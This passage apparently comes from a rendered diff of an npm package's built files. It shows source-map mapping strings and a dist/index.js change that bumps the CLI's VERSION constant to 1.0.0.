AAC;QACtD,IAAI,CAAC,IAAI;YAAE,SAAS;QAEpB,MAAM,QAAQ,GAAG,IAAI,CAAC,QAAQ,EAAE,QAAQ,IAAI,SAAS,CAAC;QACtD,MAAM,YAAY,GAAG,IAAI,CAAC,QAAQ,EAAE,YAAY,IAAI,IAAI,CAAC,UAAU,IAAI,SAAS,CAAC;QAEjF,KAAK,CAAC,IAAI,CAAC;YACT,MAAM,EAAE,IAAI,CAAC,EAAE;YACf,IAAI,EAAE,QAAe;YACrB,QAAQ,EAAE,YAAY;YACtB,IAAI,EAAE,IAAI,CAAC,IAAI;YACf,MAAM,EAAE,IAAI,CAAC,MAAM;SACpB,CAAC,CAAC;IACL,CAAC;IAED,OAAO,KAAK,CAAC;AACf,CAAC"}
|
package/dist/index.js
CHANGED
|
@@ -9,7 +9,7 @@ import { loadConfig, mergeConfig } from "./config.js";
|
|
|
9
9
|
import { join, dirname } from "path";
|
|
10
10
|
import { fileURLToPath } from "url";
|
|
11
11
|
import { spawn } from "child_process";
|
|
12
|
-
const VERSION = "0.
|
|
12
|
+
const VERSION = "1.0.0";
|
|
13
13
|
/**
|
|
14
14
|
* Main CLI function
|
|
15
15
|
*/
|
package/dist/layers/code.d.ts
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAGH,OAAO,KAAK,EAAE,KAAK,EAAW,WAAW,EAAY,MAAM,aAAa,CAAC;
|
|
1
|
+
{"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAGH,OAAO,KAAK,EAAE,KAAK,EAAW,WAAW,EAAY,MAAM,aAAa,CAAC;AAKzE;;GAEG;AACH,wBAAsB,QAAQ,CAAC,KAAK,EAAE,KAAK,GAAG,OAAO,CAAC,WAAW,CAAC,CAgDjE"}
|